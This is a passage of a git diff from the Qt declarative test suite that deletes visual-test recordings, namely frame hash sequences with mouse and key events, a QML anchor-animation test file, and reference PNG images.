- hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4352 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4368 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4384 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4400 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4416 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4432 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4448 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4464 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4480 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4496 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4512 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4528 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 174; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4544 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4560 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4576 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4592 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4608 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4624 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4640 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4656 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 174; y: 174 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4672 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 4688 - hash: "5d38bf4a033de31985ae9989107908af" - } - Frame { - msec: 4704 - hash: "ed1bd2abd42848ecd07f0f0654c2b80f" - } - Frame { - msec: 4720 - hash: "588de6662123733303d93f62c6481f6a" - } - Frame { - msec: 4736 - hash: "aae79c2fbb2fd1ac7efa9802bff40f95" - } - Frame { - msec: 4752 - hash: "f17512798136f67f25aaa0aeb60678e1" - } - Frame { - msec: 4768 - hash: "79578a1e0e3e9cd45c210d0c5d3e75d6" - } - Frame { - msec: 4784 - hash: "5dad4ff201744cda6ff41f89414c8d11" - } - Frame { - msec: 4800 - image: "reanchor.4.png" - } - Frame { - msec: 4816 - hash: "c4559982aa3f3d291364deed4bd96d65" - } - Frame { - msec: 4832 - hash: "0dff03ea9154bdb2a813358b04cfbde9" - } - Frame { - msec: 4848 - hash: "09bdf2869dee1c0cbe3c8c2e9254580b" - } - Frame { - msec: 4864 - hash: "ba7762978bbd63d624029910fe16fb6d" - } - Frame { - msec: 4880 - hash: "f00d198ab8f4f625b60e9e2071d8adfd" - } - Frame { - msec: 4896 - hash: "adcec9c9a5b0d60cf45b2915365ea09c" - } - Frame { - msec: 4912 - hash: "a65cd6fbb26d618692ef23148015a4f2" - } - Frame { - msec: 4928 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 4944 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 4960 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 4976 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 4992 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5008 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5024 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5040 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5056 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5072 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5088 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5104 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5120 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5136 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5152 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5168 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5184 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5200 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5216 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5232 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5248 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5264 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5280 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5296 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5312 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5328 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5344 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5360 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5376 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5392 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5408 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5424 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5440 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5456 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5472 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5488 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5504 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5520 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5536 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5552 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5568 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5584 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5600 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5616 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5632 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5648 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5664 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5680 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5696 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5712 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5728 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5744 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5760 - image: "reanchor.5.png" - } - Frame { - msec: 5776 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5792 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5808 - hash: "1137e22c68e043950811dee295e19b04" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 95; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5824 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5840 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5856 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5872 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5888 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5904 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5920 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5936 - hash: "1137e22c68e043950811dee295e19b04" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 95; y: 78 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5952 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 5968 - hash: "103bbc9ce594851f5243b103f8fef1c1" - } - Frame { - msec: 5984 - hash: "c381148b052be2e6244f24c2292b89cf" - } - Frame { - msec: 6000 - hash: "2fda1d635fa47bff7de867df3dadfb4f" - } - Frame { - msec: 6016 - hash: "4d35e00af33ad5dc84998cda2d066b4e" - } - Frame { - msec: 6032 - hash: "14005d52d372acf6d3495f69bbf00b7d" - } - Frame { - msec: 6048 - hash: "29728f64d12e858d960c4e197824ef43" - } - Frame { - msec: 6064 - hash: "798822f0c20ef87cb01fe1dcd76c7585" - } - Frame { - msec: 6080 - hash: "4cdeea0f91587ef32a2c2e282f6d00e6" - } - Frame { - msec: 6096 - hash: "08ca5d16771e58da6cdd20b86dc65f03" - } - Frame { - msec: 6112 - hash: "e9aeb432709d275048ad9d84fb21db1a" - } - Frame { - msec: 6128 - hash: "3b642f27d356fd1815dc50f8e750623d" - } - Frame { - msec: 6144 - hash: "7c1db0ec278849ec044ea0aa3383075b" - } - Frame { - msec: 6160 - hash: "da902850879c95d4ddffbb1ba0060f25" - } - Frame { - msec: 6176 - hash: "e4053bd0db7752e7a47e096da645b69b" - } - Frame { - msec: 6192 - hash: "aabbb6d34399818347db265151a547b7" - } - Frame { - msec: 6208 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6224 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6240 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6256 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6272 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6288 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6304 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6320 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6336 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6352 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6368 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6384 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6400 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6416 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6432 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6448 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6464 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6480 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6496 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6512 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6528 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6544 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6560 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6576 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6592 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6608 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6624 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6640 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6656 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6672 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6688 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6704 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6720 - image: "reanchor.6.png" - } - Frame { - msec: 6736 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6752 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6768 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6784 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6800 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6816 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6832 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6848 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6864 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6880 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6896 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6912 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6928 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6944 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6960 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6976 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 6992 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7008 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7024 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7040 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7056 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7072 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7088 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7104 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7120 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7136 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7152 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7168 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7184 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7200 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7216 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7232 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7248 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7264 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7280 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7296 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7312 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7328 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7344 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7360 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7376 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7392 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7408 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7424 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7440 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7456 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7472 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7488 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7504 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7520 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7536 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7552 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7568 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7584 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7600 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 86; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7616 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7632 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7648 - hash: "213811853dbefdc418099721e3bf8651" - } - Frame { - msec: 7664 - hash: "213811853dbefdc418099721e3bf8651" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 86; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7680 - image: "reanchor.7.png" - } - Frame { - msec: 7696 - hash: "eb3eeb37ab7b26692cbf100adfaf3772" - } - Frame { - msec: 7712 - hash: "e1a8cdcb1f3ec097a968b3b20964c6e8" - } - Frame { - msec: 7728 - hash: "44fc52479251327d0612de17ddb056eb" - } - Frame { - msec: 7744 - hash: "fa7e4a910aa60500575a34852c0c7cb8" - } - Frame { - msec: 7760 - hash: "66d205a02e35221e7684ab995acc1312" - } - Frame { - msec: 7776 - hash: "4ebe8dba6d9f3179b610b2298a7484a2" - } - Frame { - msec: 7792 - hash: "9b2582fccffa34fe389ba427ce47619a" - } - Frame { - msec: 7808 - hash: "e6f15478bda9995f82976b9e16659c8e" - } - Frame { - msec: 7824 - hash: "f08df0885fff04819ada6c10b25dd489" - } - Frame { - msec: 7840 - hash: "0f57c152306747cfa27171f1947ca65d" - } - Frame { - msec: 7856 - hash: "89d9c988abd55063e210b81193c6a8f0" - } - Frame { - msec: 7872 - hash: "91e0d0a5d57210c790c2d2399d1f7022" - } - Frame { - msec: 7888 - hash: "267874fdc09459b3e854c06d9ae99a54" - } - Frame { - msec: 7904 - hash: "2f58a508f439c40c6f2bd7da1f30deff" - } - Frame { - msec: 7920 - hash: "1451548d9f0002a6c4765cb616ab7f59" - } - Frame { - msec: 7936 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 7952 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 7968 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 7984 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8000 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8016 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8032 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8048 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8064 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8080 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8096 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8112 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8128 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8144 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8160 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8176 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8192 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8208 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8224 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8240 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8256 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8272 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8288 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8304 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8320 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8336 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8352 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8368 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8384 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8400 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 177; y: 173 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8416 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8432 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8448 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8464 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8480 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8496 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8512 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 177; y: 173 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8528 - hash: "ad3837dcf3e69274ac2918d796974f29" - } - Frame { - msec: 8544 - hash: "49a6ed64f80094b41348eda19fa5a55e" - } - Frame { - msec: 8560 - hash: "3ee42fb431d7824c1cd6ddf95af91d10" - } - Frame { - msec: 8576 - hash: "d807890cc0670eda9fac267769366771" - } - Frame { - msec: 8592 - hash: "50cb68de9ca0c3a8db1df58d7cbb0d21" - } - Frame { - msec: 8608 - hash: "0af06233156b3a469ce9e7d80a5767c0" - } - Frame { - msec: 8624 - hash: "9b2c77f004e480fd485e092c08feaf81" - } - Frame { - msec: 8640 - image: "reanchor.8.png" - } - Frame { - msec: 8656 - hash: "6ed9b6118a0dc81c22af9fee108b7432" - } - Frame { - msec: 8672 - hash: "4d3aa8219edffe6fda316482821d4a64" - } - Frame { - msec: 8688 - hash: "ea8a7104840254ac2706ca2635b8a95f" - } - Frame { - msec: 8704 - hash: "a8569ef3287da9699809a2ad107b87b1" - } - Frame { - msec: 8720 - hash: "91d09653dbced4ecb3d711737cb89ca1" - } - Frame { - msec: 8736 - hash: "d5391f3b40f2dfada0336d889d438d69" - } - Frame { - msec: 8752 - hash: "27cd9690607f97cc84c2a0a4455feccb" - } - Frame { - msec: 8768 - hash: "f885588779a5de5d7d47f48bf9a2a6ee" - } - Frame { - msec: 8784 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8800 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8816 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8832 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8848 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8864 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8880 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8896 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8912 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8928 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8944 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8960 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8976 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 8992 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9008 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9024 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9040 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9056 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9072 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9088 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9104 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9120 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9136 - hash: "1137e22c68e043950811dee295e19b04" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 9152 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9168 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9184 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9200 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9216 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9232 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9248 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9264 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9280 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9296 - hash: "1137e22c68e043950811dee295e19b04" - } - Frame { - msec: 9312 - hash: "1137e22c68e043950811dee295e19b04" - } -} diff --git a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml b/tests/auto/declarative/visual/animation/reanchor/reanchor.qml deleted file mode 100644 index 1d0495e..0000000 --- a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml +++ /dev/null @@ -1,69 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: container - width: 200; height: 200 - Rectangle { - id: myRect - objectName: "MyRect" - color: "green"; - anchors.left: parent.left - anchors.right: rightGuideline.left - anchors.top: topGuideline.top - anchors.bottom: container.bottom - } - Item { id: leftGuideline; x: 10 } - Item { id: rightGuideline; x: 150 } - Item { id: topGuideline; y: 10 } - Item { id: bottomGuideline; y: 150 } - Item { id: topGuideline2; y: 50 } - Item { id: bottomGuideline2; y: 175 } - - MouseArea { - id: wholeArea - anchors.fill: parent - onClicked: { - if (container.state == "") { - container.state = "reanchored"; - } else if (container.state == "reanchored") { - container.state = "reanchored2"; - } else if (container.state == "reanchored2") - container.state = "reanchored"; - } - } - - states: [ State { - name: "reanchored" - AnchorChanges { - target: myRect; - anchors.left: leftGuideline.left - anchors.right: container.right - anchors.top: container.top - anchors.bottom: bottomGuideline.bottom - } - }, State { - name: "reanchored2" - AnchorChanges { - target: myRect; - anchors.left: undefined - anchors.right: undefined - anchors.top: topGuideline2.top - anchors.bottom: bottomGuideline2.bottom - } - }] - - transitions: Transition { - AnchorAnimation { } - } - - MouseArea { - width: 50; height: 50 - anchors.right: parent.right - anchors.bottom: parent.bottom - onClicked: { - container.state = ""; - } - } - - state: "reanchored" -} diff --git a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.0.png b/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.0.png deleted file mode 100644 index 64d6b06..0000000 Binary files a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.1.png b/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.1.png deleted file mode 100644 index 1a25c63..0000000 Binary files a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.qml deleted file mode 100644 index 01da490..0000000 --- a/tests/auto/declarative/visual/animation/scriptAction/data/scriptAction.qml +++ /dev/null @@ -1,535 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 32 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 48 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 64 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 80 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 96 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 112 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 128 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 144 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 160 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 176 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 192 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 208 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 224 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 240 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 256 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 272 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 288 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 304 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 320 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 336 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 352 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 368 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 384 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 400 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 416 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 432 - hash: "55b713dcb7c810bf126e06cc97d26d24" 